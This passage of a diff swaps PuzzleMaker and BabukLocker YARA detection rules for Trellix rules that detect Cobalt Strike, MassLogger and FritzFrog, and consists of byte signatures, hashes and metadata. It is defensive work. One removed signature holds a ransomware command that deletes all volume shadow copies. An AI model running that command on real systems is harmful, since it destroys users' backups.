01A10C3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3136223F3E0D0A3C5461736B2076657273696F6E3D22312E322220786D6C6E733D22687474703A2F2F736368656D61732E6D6963726F736F66742E636F6D2F77696E646F77732F323030342F30322F6D69742F7461736B223E0D0A20203C526567697374726174696F6E496E666F3E0D0A202020203C446174653E323031342D31302D32355431343A32373A34342E383932393032373C2F446174653E0D0A202020203C417574686F723E5B5553455249445D3C2F417574686F723E0D0A20203C2F526567697374726174696F6E496E666F3E0D0A20203C54726967676572733E0D0A202020203C4C6F676F6E547269676765723E0D0A2020202020203C456E61626C65643E747275653C2F456E61626C65643E0D0A2020202020203C5573657249643E5B5553455249445D3C2F5573657249643E0D0A202020203C2F4C6F676F6E547269676765723E0D0A202020203C526567697374726174696F6E547269676765723E0D0A2020202020203C456E61626C65643E66616C73653C2F456E61626C65643E0D0A202020203C2F526567697374726174696F6E547269676765723E0D0A20203C2F54726967676572733E0D0A20203C5072696E636970616C733E0D0A202020203C5072696E636970616C2069643D22417574686F72223E0D0A2020202020203C5573657249643E5B5553455249445D3C2F5573657249643E0D0A2020202020203C4C6F676F6E547970653E496E746572616374697665546F6B656E3C2F4C6F676F6E547970653E0D0A2020202020203C52756E4C6576656C3E4C6561737450726976696C6567653C2F52756E4C6576656C3E0D0A202020203C2F5072696E636970616C3E0D0A20203C2F5072696E636970616C733E0D0A20203C53657474696E67733E0D0A202020203C4D756C7469706C65496E7374616E636573506F6C6963793E53746F704578697374696E673C2F4D756C7469706C65496E7374616E636573506F6C6963793E0D0A202020203C446973616C6C6F77537461727449664F6E4261747465726965733E66616C73653C2F446973616C6C6F77537461727449664F6E4261747465726965733E0D0A202020203C53746F704966476F696E674F6E4261747465726965733E747275653C2F53746F704966476F696E674F6E4261747465726965733E0D0A202020203C416C6C6F77486172645465726D696E6174653E66616C73653C2F416C6C6F77486172645465726D696E6174653E0D0A202020203C53746172745768656E417661696C61626C653E747275653C2F53746172745768656E417661696C61626C653E0D0A202020203C52756E4F6E6C7949664E6574776F726B417661696C61626C653E66616C73653C2F52756E4F6E6C7949664E6574776F726B417661696C61626C653E0D0A202020203C49646C6553657474696E67733E0D0A2020202020203C53746F704F6E49646C65456E643E747275653C2F53746F704F6E49646C65456E643E0D0A2020202020203C526573746172744F6E49646C653E66616C73653C2F526573746172744F6E49646C653E0D0A202020203C2F49646C6553657474696E67733E0D0A202020203C416C6C6F7753746172744F6E44656D616E643E747275653C2F416C6C6F7753746172744F6E44656D616E643E0D0A202020203C456E61626C65643E747275653C2F456E61626C65643E0D0A202020203C48696464656E3E66616C73653C2F48696464656E3E0D0A202020203C52756E4F6E6C79496649646C653E66616C73653C2F52756E4F6E6C79496649646C653E0D0A202020203C57616B65546F52756E3E66616C73653C2F57616B65546F52756E3E0D0A202020203C457865637574696F6E54696D654C696D69743E505430533C2F457865637574696F6E54696D654C696D69743E0D0A202020203C5072696F726974793E373C2F5072696F726974793E0D0A20203C2F53657474696E67733E0D0A20203C416374696F6E7320436F6E746578743D22417574686F72223E0D0A202020203C457865633E0D0A2020202020203C436F6D6D616E643E5B4C4F434154494F4E5D3C2F436F6D6D616E643E0D0A202020203C2F457865633E0D0A20203C2F416374696F6E733E0D0A3C2F5461736B3E } condition: - uint16( 0 ) == 0x5a4d and filesize > 200KB and 1 of ( $seq* ) and 4 of ( $s* ) + $template } -rule ARKBIRD_SOLG_APT_Puzzlemaker_Implant_Jun_2021_1 : FILE +rule TRELLIX_ARC_MALW_Cobaltrike : BACKDOOR FILE { meta: - description = "Detect the implant of the PuzzleMaker group" - author = "Arkbird_SOLG" - id = "9387130c-4474-55bf-9736-09494a5e81b8" - date = "2021-06-10" - modified = "2021-11-01" - reference = "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-09/PuzzleMaker/APT_PuzzleMaker_Implant_Jun_2021_1.yara#L1-L21" - license_url = "N/A" - logic_hash = "e54eaaa76b2d370a27a232dee2299266f8b3b82d53da36e35c2a6fcdd7d5b1f7" + description = "Rule to detect CobaltStrike beacon" + author = "Felix Bilstein - yara-signator at cocacoding dot com" + id = "a7dae4c7-672e-58fb-8542-90fa90d991a4" + date = "2020-07-19" + modified = "2021-08-30" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_cobaltstrike.yar#L1-L38" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + logic_hash = "fc91d40c6544c7ab7c60b3cb8fc542bd4a6fac79dbe00cad8f612854f2a6dcd1" score = 75 - quality = 75 - tags = "FILE" - hash1 = "8a17279ba26c8fbe6966ea3300fdefb1adae1b3ed68f76a7fc81413bd8c1a5f6" - hash2 = "1ee9bb4e8bcabe197399b654dbf940438b120af1c376719ff9bdccf2bb1dc606" - hash3 = "f2ce2a00de8673f52d37911f3e0752b8dfab751b2a17e719a565b4083455528e" - tlp = "White" - adversary = "PuzzleMaker" + quality = 70 + tags = "BACKDOOR, FILE" + rule_version = "v1" + malware_type = "backdoor" + malware_family = "Backdoor:W32/CobaltStrike" + actor_type = "Cybercrime" + actor_group = "Unknown" + hash1 = "f47a627880bfa4a117fec8be74ab206690e5eb0e9050331292e032cd22883f5b" strings: - $s1 = { 4c 8d 4c 24 5c 49 8b ce 48 8d 95 c0 00 00 00 ff 15 21 01 04 00 85 c0 74 28 4c 8d 4c 24 58 4c 89 64 24 20 41 b8 00 04 00 00 48 8d 95 c0 04 00 00 49 8b cf ff 15 b5 fe 03 00 85 c0 0f 85 25 ff ff ff ff 15 77 fe 03 00 8b } - $s2 = { 40 55 53 56 41 55 41 57 48 8d ac 24 a0 fe ff ff 48 81 ec 60 02 00 00 48 8b 05 5a 1c 03 00 48 33 c4 48 89 85 30 01 00 00 48 8b 85 b0 01 00 00 4c 8b f9 48 8b b1 b8 00 00 00 4c 8b ad c8 01 00 00 48 83 c6 07 48 89 44 24 60 48 8b 85 d0 01 00 00 48 89 45 98 8b 85 c0 01 00 00 83 c0 fd 48 c1 ee 03 4c 89 4d 80 4c 89 45 88 48 89 55 90 83 f8 06 0f 87 84 03 00 00 48 8d 15 f3 6b fd ff 48 98 8b 8c 82 b0 97 02 00 48 } - $s3 = { 48 8d 1d 98 3d 02 00 0f 57 c0 48 89 bc 24 58 02 00 00 33 c0 c7 44 24 68 01 00 00 00 0f 11 85 80 00 00 00 4c 8b c6 c7 85 8c 00 00 00 10 27 00 00 48 8d 95 a0 00 00 00 48 89 44 24 70 49 8b c9 48 89 44 24 78 0f 11 45 20 0f 11 45 30 0f 11 45 40 0f 11 45 50 0f 11 45 60 0f 11 45 70 0f 11 85 90 00 00 00 e8 57 58 fe ff 8b f8 85 c0 0f 85 62 02 00 00 49 8b 87 b8 00 00 00 48 8d 4c 24 68 48 8b 54 24 60 48 83 c0 07 48 c1 e8 03 4c 89 a4 24 50 02 00 00 4c 8b a5 b8 01 00 00 4c 3b e0 4c 89 b4 24 48 02 00 00 4d 8b f4 4c 0f 47 f0 4d 8b c6 e8 1b 57 fe ff 8b f8 85 c0 75 54 49 8b 87 b8 00 00 00 4a 8d 14 f5 00 00 00 00 48 } - $s4 = { 85 ff 0f 85 cd 01 00 00 48 8b 4d 90 48 8d 45 a0 48 89 44 24 50 45 33 c9 48 8d 45 d0 4d 8b c7 48 89 44 24 48 33 d2 4c 89 64 24 40 4c 89 64 24 38 c7 44 24 30 00 00 00 08 c7 44 24 28 01 00 00 00 4c 89 64 24 20 ff 15 62 1c 04 00 85 c0 75 3a ff 15 38 1d 04 00 44 8b c3 48 8b ce 8b d0 8b f8 e8 d1 09 00 00 48 8b 4d 80 ff 15 07 1d 04 00 48 8b 4d 88 ff 15 fd 1c 04 00 48 8b 4d 90 ff 15 f3 1c 04 00 } - $s5 = { 40 53 55 56 57 41 54 41 55 41 56 41 57 48 81 ec 28 02 00 00 48 8b 05 5d 0a 04 00 48 33 c4 48 89 84 24 10 02 00 00 48 8b ac 24 90 02 00 00 0f 57 c0 4c 8b ac 24 98 02 00 00 33 db 45 32 e4 4c 89 4c 24 58 4c 89 44 24 70 49 8b f9 48 89 6c 24 68 4d 8b c8 4c 89 6c 24 60 4c 8b fa 48 8b f1 44 8b f3 0f 11 84 24 e0 00 00 00 c7 84 24 ec 00 00 00 10 27 00 00 0f 11 84 24 80 00 00 00 0f 11 84 24 90 00 00 00 0f 11 84 24 a0 00 00 00 0f 11 84 24 b0 00 00 00 0f 11 84 24 c0 00 00 00 0f 11 84 24 d0 00 00 00 0f 11 84 24 f0 00 00 00 48 85 ed 75 47 4c 8b 81 b8 00 00 00 48 8d 05 a1 c2 ff ff 48 89 44 24 68 48 8d 8c 24 80 00 00 00 49 83 c0 07 48 8d 84 24 80 00 00 00 49 c1 e8 03 49 8b d1 48 89 44 24 60 e8 87 c2 ff ff 8b f8 85 c0 0f 85 ee 01 00 00 48 8b 7c 24 58 48 8d 56 68 48 8d 4f 18 e8 7b 4a ff ff 85 c0 75 15 48 8d 56 50 48 8b cf e8 6b 4a ff ff 85 c0 75 05 40 b5 } - $s6 = { 41 b9 01 00 00 00 c7 44 24 20 00 00 00 f0 45 33 c0 48 8d 4c 24 60 33 d2 ff 15 11 06 04 00 85 c0 74 28 48 8b 4c 24 60 4c 8d 85 b0 00 00 00 ba 20 00 00 00 ff 15 ee 05 04 00 48 8b 4c 24 60 33 d2 85 } + $pattern_0 = { e9???????? eb0a b801000000 e9???????? } + $pattern_1 = { 3bc7 750d ff15???????? 3d33270000 } + $pattern_2 = { 8bd0 e8???????? 85c0 7e0e } + $pattern_3 = { 50 8d8d24efffff 51 e8???????? } + $pattern_4 = { 03b5d4eeffff 89b5c8eeffff 3bf7 72bd 3bf7 } + $pattern_5 = { 8b450c 8945f4 8d45f4 50 } + $pattern_6 = { 33c5 8945fc 8b4508 53 56 ff750c 33db } + $pattern_7 = { e8???????? e9???????? 833d????????01 7505 e8???????? } + $pattern_8 = { 53 53 8d85f4faffff 50 } + $pattern_9 = { 68???????? 53 50 e8???????? 83c424 } + $pattern_10 = { 488b4c2420 8b0401 8b4c2408 33c8 8bc1 89442408 } + $pattern_11 = { 488d4d97 e8???????? 4c8d9c24d0000000 418bc7 498b5b20 498b7328 498b7b30 } + $pattern_12 = { bd08000000 85d2 7459 ffcf 4d85ed } + $pattern_13 = { 4183c9ff 33d2 ff15???????? 4c63c0 4983f8ff } + $pattern_14 = { 49c1e002 e8???????? 03f3 4d8d349e 3bf5 7d13 } + $pattern_15 = { 752c 4c8d45af 488d55af 488d4d27 } condition: - uint16( 0 ) == 0x5a4d and filesize > 80KB and 5 of ( $s* ) + 7 of them and filesize < 696320 } -rule ARKBIRD_SOLG_APT_Puzzlemaker_Launcher_Jun_2021_1 : FILE +rule TRELLIX_ARC_Masslogger_Stealer : STEALER FILE { meta: - description = "Detect the launcher of the PuzzleMaker group" - author = "Arkbird_SOLG" - id = "ae31d9de-8e6c-5c1b-bc45-bc4e50cea00f" - date = "2021-06-10" - modified = "2021-11-01" - reference = "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-09/PuzzleMaker/APT_PuzzleMaker_Launcher_Jun_2021_1.yara#L1-L19" - license_url = "N/A" - logic_hash = "5c717ca5c57a86e1b5db45b3d581a45be248d45820c00c40c57a001ac07ce1b2" + description = "Rule to detect unpacked MassLogger stealer" + author = "Marc Rivero | McAfee ATR Team" + id = "c3a40108-3f0c-5949-9201-95c3c38b352a" + date = "2020-07-02" + modified = "2020-08-14" + reference = "https://urlhaus.abuse.ch/browse/signature/MassLogger/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_masslogger_stealer.yar#L1-L63" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + hash = "343873155b6950386f7d9bcd8d2b2e81088521aedf8ff1333d20229426d8145c" + logic_hash = "476b3f3a54a4616058a2aef01adbe429a38eacc8ee58881d31bd28e795a27575" score = 75 - quality = 75 - tags = "FILE" - hash1 = "982f7c4700c75b81833d5d59ad29147c392b20c760fe36b200b541a0f841c8a9" - tlp = "White" - adversary = "PuzzleMaker" + quality = 66 + tags = "STEALER, FILE" + rule_version = "v1" + malware_type = "stealer" + malware_family = "Stealer:W32/MassLogger" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $s1 = { 4c 89 6d bf 48 8d 45 bf 48 89 44 24 20 4c 8d 0d f9 45 01 00 33 d2 44 8d 42 01 48 8d 0d dc 45 01 00 ff 15 56 44 01 00 8b d8 85 c0 78 c6 4c 89 6d c7 48 8b 45 bf 48 8b 08 4c 8b 79 18 b9 18 00 00 00 e8 9b 04 00 00 48 8b d8 48 89 45 a7 48 85 c0 74 32 0f 57 c0 33 c0 0f 11 03 48 89 43 10 4c 89 6b 08 c7 43 10 01 00 00 00 48 8d 0d 15 fb 01 00 ff 15 cf 43 01 00 48 89 03 48 85 } - $s2 = { 44 89 6c 24 38 4c 89 6c 24 30 c7 44 24 28 03 00 00 00 c7 44 24 20 03 00 00 00 45 33 c9 45 33 c0 41 8d 51 0a 48 8b 4d c7 ff 15 f6 42 01 00 85 c0 0f 88 bb 01 00 00 48 8d 0d 1d fa 01 00 ff 15 c1 42 01 00 4c 8b f8 48 8d 0d 1b fa 01 00 ff 15 b1 42 01 00 4c 8b e0 4c 89 6d df 48 8b 4d c7 48 8b 11 4c 8b 52 30 4c 89 6c 24 28 48 8d 45 df 48 89 44 24 20 45 33 c9 45 33 c0 49 8b d4 41 ff d2 4c 89 6d e7 48 8b 4d df 48 8b 01 4c 89 6c 24 20 4c 8d 4d e7 45 33 c0 49 8b d7 ff 90 98 00 00 00 4c 89 6d cf 48 8b 4d e7 48 8b 01 4c 8d 45 cf 33 d2 ff 50 78 b8 08 00 00 00 66 89 45 ef 8d 48 10 e8 dc 02 00 00 48 8b d8 48 89 45 a7 48 85 c0 74 33 0f 57 c0 33 c0 0f 11 03 48 89 43 10 4c 89 6b 08 c7 43 10 01 00 00 00 48 8b ce ff 15 14 42 01 00 48 89 03 48 85 c0 75 0e 48 85 } - $s3 = { 4c 8d 05 75 0e 02 00 0f 1f 40 00 66 0f 1f 84 00 00 00 00 00 0f b6 d0 42 0f b6 0c 12 66 41 31 08 74 12 ff c0 49 83 c0 02 83 f8 20 72 e7 0f 1f 80 00 00 00 00 0f b7 05 49 09 02 00 48 8d 0d 76 09 02 00 66 d1 e8 66 83 e0 7f 66 0f 6f 15 f3 d4 01 00 66 89 05 2c 09 02 00 0f b7 05 27 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 19 09 02 00 0f b7 05 14 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 06 09 02 00 0f b7 05 01 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 f3 08 02 00 0f b7 05 ee 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 e0 08 02 00 0f b7 05 db 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 cd 08 02 00 0f b7 05 c8 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 ba 08 02 00 0f b7 05 b5 08 02 00 66 d1 e8 66 83 e0 7f f3 0f 6f 05 bc 08 02 00 66 89 05 9f 08 02 00 0f b7 05 9a 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 8c 08 02 00 0f b7 05 87 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 79 08 02 00 0f b7 05 74 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 66 08 02 00 0f b7 05 61 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 53 08 02 00 0f b7 05 4e 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 40 08 02 00 0f b7 05 3b 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 2d 08 02 00 0f b7 05 28 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 1a 08 02 00 0f b7 05 15 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 07 08 02 00 0f b7 05 02 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 f4 07 02 00 0f b7 05 ef 07 02 00 66 d1 e8 66 83 e0 7f 66 89 05 e1 07 02 00 b8 01 00 00 00 66 0f 6e c8 8d 50 05 66 0f d1 c1 66 0f db c2 f3 0f 7f 05 c7 07 02 00 0f } - $s4 = { 48 89 9c 24 60 06 00 00 48 89 b4 24 68 06 00 00 48 89 bc 24 70 06 00 00 4c 89 b4 24 30 06 00 00 c7 05 2e 1a 02 00 04 00 00 00 48 c7 05 27 1a 02 00 01 00 00 00 4c 89 2d 2c 1a 02 00 ff 15 22 48 01 00 48 8d 35 8b 04 02 00 66 66 66 0f 1f 84 00 00 00 00 00 33 d2 44 89 6c 24 70 41 b8 08 03 00 00 48 8d 8d 10 02 00 00 45 8b f5 e8 e4 28 00 00 4c 8d 0d 5d 03 02 00 48 89 74 24 20 ba 84 01 00 00 48 8d 8d 10 02 00 00 49 c7 c0 ff ff ff ff e8 a0 fb ff ff 48 8d 54 24 70 48 8d 8d 10 02 00 00 e8 9f 05 00 00 8b d0 85 } - $s5 = { 4c 89 6c 24 60 4c 8d 05 25 cc 01 00 4c 89 6c 24 58 48 8d 15 e1 04 02 00 4c 89 6c 24 50 41 b9 ff 01 0f 00 4c 89 6c 24 48 48 8b cf 4c 89 6c 24 40 48 89 74 24 38 44 89 6c 24 30 c7 44 24 28 02 00 00 00 c7 44 24 20 10 00 00 00 ff 15 19 46 01 00 48 8b d8 ff 15 a8 46 01 00 8b f0 48 85 db 74 22 48 8b cb ff 15 20 46 01 00 48 8b cb ff 15 ff 45 01 00 48 8b cf ff 15 f6 45 01 00 bf 01 00 00 } - $s6 = { 33 d2 33 c9 41 b8 3f 00 0f 00 ff 15 f4 46 01 00 48 8b f8 48 85 } + $pattern_0 = { 6437 3e2585829c88 ec ec 1bc8 } + $pattern_1 = { d7 b9513e1ba7 195ab6 e6df 7e2a 5a b6cc } + $pattern_2 = { 80aee281aae280 8ee2 808ce2808ee2808e e280 ae 00436f 6e } + $pattern_3 = { 6d e586 4c 40 } + $pattern_4 = { e281 ab e280 8ee2 80aee281aae280 8ee2 } + $pattern_5 = { 6c 69636b65644576 656e 7441 7267 7300 } + $pattern_6 = { 6e 7e81 d86aaf 61 93 7c2b 832b62 } + $pattern_7 = { 8b1c87 e7ed 24a2 3218 73df 53 } + $pattern_8 = { ee 9a357f9a475399 3188eef97d50 3f ef c9 } + $pattern_9 = { 44 a2???????? 92 7526 42 208fb5ca7050 } + $pattern_10 = { f2bbafb0d5f8 d524 0d48c906ba 7977 5d } + $pattern_11 = { 748f 46 4e 49 2af2 ee 9a357f9a475399 } + $pattern_12 = { 237ddb e200 95 46 99 37 } + $pattern_13 = { d9ae1d19ec3b 01db c5615c ec } + $pattern_14 = { 304a8a e2f4 bde7a84f79 c038d3 197ceae6 } + $pattern_15 = { 291f ff84c3bd55d8dc f331f2 1a3a 9c 7d78 } + $pattern_16 = { 3f 7af1 77a2 24ae 7ff3 } + $pattern_17 = { d1655d 7236 3873c1 b59e } + $pattern_18 = { 2aff 95 55 28ff 94 53 } + $pattern_19 = { e6b1 43 08d2 ef 43 3c38 } + $pattern_20 = { 6964427275736800 43 6f 6c 6f 7200 e281 } + $pattern_21 = { 37 005400a7 877f08 54 00e1 875303 5c } + $pattern_22 = { 6a45 e42c d3ba76c4f058 ce 3037 } + $pattern_23 = { b59e 59 f1 f1 } + $pattern_24 = { 7988 cd09 91 0099664e0391 008288490061 008c88d3099900 } + $pattern_25 = { 1e e3c2 00ff 698876be8fb365b13eb7 45 } + $pattern_26 = { 3d4c9deadf 57 ddeb 97 } + $pattern_27 = { e280 8ee2 808ee281aee280 8ee2 81ace281ace280ade280ab e281 } + $pattern_28 = { 4d 9c 8e5753 32414f d28a7173e2c4 7ee4 d9ae1d19ec3b } + $pattern_29 = { 7472 69704d656e755f 53 61 } + $pattern_30 = { 79bc fa ad 49 } + $pattern_31 = { 875303 5c 00140a 37 005c00a7 } + $pattern_32 = { 7265 5f 43 6c 69636b00746f6f 6c 53 } + $pattern_33 = { 36e633 2b2b 3673d1 d480 124d2d } + $pattern_34 = { 19b3e7ab29db 51 e1f3 dd3a 266f b884c4b53b } + $pattern_35 = { 7467 43 f332d2 84bf3df2e66b 4a ba5a20d9f5 3dbf2a3753 } + $pattern_36 = { f271f3 8877f7 a8e5 6437 3e2585829c88 } + $pattern_37 = { ce 84604c 3f 8cc6 56 bf165fdec5 4a } + $pattern_38 = { ad 49 a2???????? 4c e15b 8b1c87 } + $pattern_39 = { 3400 b687 bc083c00cd 87ce 083400 } condition: - uint16( 0 ) == 0x5a4d and filesize > 80KB and 5 of ( $s* ) + 7 of them and filesize < 3834880 } -rule ARKBIRD_SOLG_Ran_Babuklockers_Jan_2021_1 : FILE +rule TRELLIX_ARC_MALW_Fritzfrog : BOTNET FILE { meta: - description = "Detect the BabukLocker ransomware" - author = "Arkbird_SOLG" - id = "a3bad41d-59fb-564f-a352-ca38af582c08" - date = "2020-01-03" - modified = "2021-01-03" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-02/BabukLocker/Ran_BabukLockers_Jan_2021_1.yar#L1-L23" - license_url = "N/A" - logic_hash = "8939e408948dd7b17acdac5c6b5f50db24ec63f19937b8663a15f52b678d0065" - score = 50 - quality = 75 - tags = "FILE" - hash1 = "8203c2f00ecd3ae960cb3247a7d7bfb35e55c38939607c85dbdb5c92f0495fa9" - level = "Experimental" + description = "Rule to detect Fritzfrog" + author = "Marc Rivero | McAfee ATR Team" + id = "4c553279-7e0c-5602-944d-ad8a47edf4ea" + date = "2020-08-20" + modified = "2020-08-20" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_fritzfrog.yar#L1-L26" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + logic_hash = "488c807ecf0a9e981b2c1f2f5bb2e3072952d11f7cbf3a354bc85dc8e88b8b09" + score = 75 + quality = 70 + tags = "BOTNET, FILE" + rule_version = "v1" + malware_type = "botnet" + malware_family = "Botnet:W32/Fritzfrog" + actor_type = "Cybercrime" + hash1 = "103b8404dc64c9a44511675981a09fd01395ee837452d114f1350c295357c046" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $seq1 = { 55 8b ec 83 ec 14 a1 b0 81 40 00 33 c5 89 45 fc c7 45 f8 ff ff ff ff c7 45 f4 00 40 00 00 8d 45 f0 50 8b 4d 08 51 6a 13 6a 00 6a 02 e8 85 2b 00 00 85 c0 0f 85 a3 00 00 00 8b 55 f4 52 e8 ae 06 00 00 83 c4 04 89 45 08 83 7d 08 00 0f 84 81 00 00 00 8d 45 f4 50 8b 4d 08 51 8d 55 f8 52 8b 45 f0 50 e8 55 2b 00 00 85 c0 75 5c c7 45 ec 00 00 00 00 eb 09 8b 4d ec 83 c1 01 89 4d ec 8b 55 ec 3b 55 f8 73 40 8b 45 ec c1 e0 05 8b 4d 08 8b 54 01 0c 83 e2 02 74 14 8b 45 ec c1 e0 05 03 45 } - $seq2 = { 68 68 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0c c7 85 b0 fd ff ff 01 00 00 00 eb 58 68 74 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0c c7 85 b0 fd ff ff 00 00 00 00 eb 2b 68 80 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0a c7 85 b0 fd ff ff ff ff ff ff e9 55 ff ff ff 6a 00 6a 00 ff 15 a8 90 40 00 e8 aa 04 00 00 e8 05 } - $seq3 = { 83 c4 0c 68 f4 00 00 00 8d 85 f4 fd ff ff 50 68 88 22 40 00 ff 15 6c 90 40 00 68 98 22 40 00 8d 8d f4 fd ff ff 51 ff 15 c4 90 40 00 c7 85 ec fd ff ff 00 00 00 00 6a 00 68 80 00 00 00 6a 01 6a 00 6a 01 68 00 00 00 40 8d 95 f4 fd ff ff 52 ff 15 70 90 40 00 89 85 98 fd ff ff 83 bd 98 fd ff ff ff 0f 84 2e 03 00 00 6a 00 8d 85 ec fd ff ff 50 68 90 00 00 00 68 78 82 40 00 8b 8d 98 fd ff ff 51 ff 15 90 90 } - $s1 = "\\ecdh_pub_k.bin" fullword wide - $s2 = "ntuser.dat.log" fullword wide - $s3 = "cmd.exe" fullword ascii - $s4 = "/c vssadmin.exe delete shadows /all /quiet" fullword wide - $s5 = { 5c 00 5c 00 3f 00 5c 00 00 00 00 00 3a 00 00 00 98 2f } + $pattern = { 7F454C4602010100000000000000000002003E000100000090D34500000000004000000000000000C8010000000000000000000040003800070040000D000300060000000400000040000000000000004000400000000000400040000000000088010000000000008801000000000000001000000000000004000000040000009C0F0000000000009C0F4000000000009C0F400000000000640000000000000064000000000000000400000000000000010000000500000000000000000000000000400000000000000040000000000083F23E000000000083F23E00000000000010000000000000010000000400000000003F000000000000007F000000000000007F00000000006C834500000000006C834500000000000010000000000000010000000600000000908400000000000090C400000000000090C4000000000060EC0400000000005809070000000000001000000000000051E574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000080150465002A000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000100000006000000000000000010400000000000001000000000000083E23E00000000000000000000000000100000000000000000000000000000004100000001000000020000000000000000007F000000000000003F0000000000C0271B0000000000000000000000000020000000000000000000000000000000720000000300000000000000000000000000000000000000C0275A00000000007C000000000000000000000000000000010000000000000000000000000000004900000001000000020000000000000040289A000000000040285A0000000000D83600000000000000000000000000002000000000000000000000000000000053000000010000000200000000000000185F9A0000000000185F5A0000000000380D0000000000000000000000000000080000000000000000000000000000005D000000010000000200000000000000506C9A0000000000506C5A0000000000000000000000000000000000000000000100000000000000000000000000000067000000010000000200000000000000606C9A0000000000606C5A00000000000C172A0000000000000000000000000020000000000000000000000000000000070000000100000003000000000000000090C400000000000090840000000000004B0300000000000000000000000000200000000000000000000000000000001200000001000000030000000000000000DBC7000000000000DB87000000000050A101000000000000000000000000002000000000000000000000000000000018000000080000000300000000000000607CC90000000000607C890000000000D0E80100000000000000000000000000200000000000000000000000000000001D0000000800000003000000000000004065CB000000000040658B00000000001834000000000000000000000000000020000000000000000000000000000000270000000700000002000000000000009C0F4000000000009C0F0000000000006400000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000